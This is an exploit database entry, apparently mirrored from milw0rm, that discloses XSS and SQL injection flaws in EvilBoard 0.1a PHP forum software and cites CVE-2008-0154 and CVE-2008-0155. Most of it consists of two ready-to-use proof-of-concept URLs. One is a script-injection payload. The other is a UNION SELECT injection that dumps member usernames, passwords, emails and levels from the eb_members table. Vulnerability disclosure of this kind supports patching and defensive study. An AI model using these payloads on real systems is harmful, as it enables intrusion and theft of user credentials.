evilboard 0.1a - SQL Injection / Cross-Site Scripting

Author: seaofglass
type: webapps
platform: php
port: 
date_added: 2008-01-07 
date_updated: 2016-11-08 
verified: 1 
codes: OSVDB-40207;CVE-2008-0155;OSVDB-40206;CVE-2008-0154 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comEvilBoard_0.1a.zip

#####################################################################
##
##  Title: EvilBoard 0.1a (Alpha) Multiple Remote Vulnerabilities
##  Author: seaofglass, <seaofglass[at]korea.com>
##  Download: http://sourceforge.net/projects/evilboard
##  Bug: XSS & Remote Sql Injection
##  Info: EvilBoard is using PHP and mysql.
##  MySite: http://seaofglass.backrush.com
##
#####################################################################

# bug 1  : XSS

# PoC
http://host/EvilBoard_0.1a/index.php?c='><script>alert('hi');</script>


# bug 2 : Remote SQL Injection

# PoC
http://host/EvilBoard_0.1a/index.php?c='/**/union/**/select/**/1,concat(username,char(77),password,char(77),email_address,char(77),info,char(77),user_level,char(77))/**/from/**/eb_members/**/where/**/userid=1/*

# thanks
vangelis, AmesianX

# milw0rm.com [2008-01-08]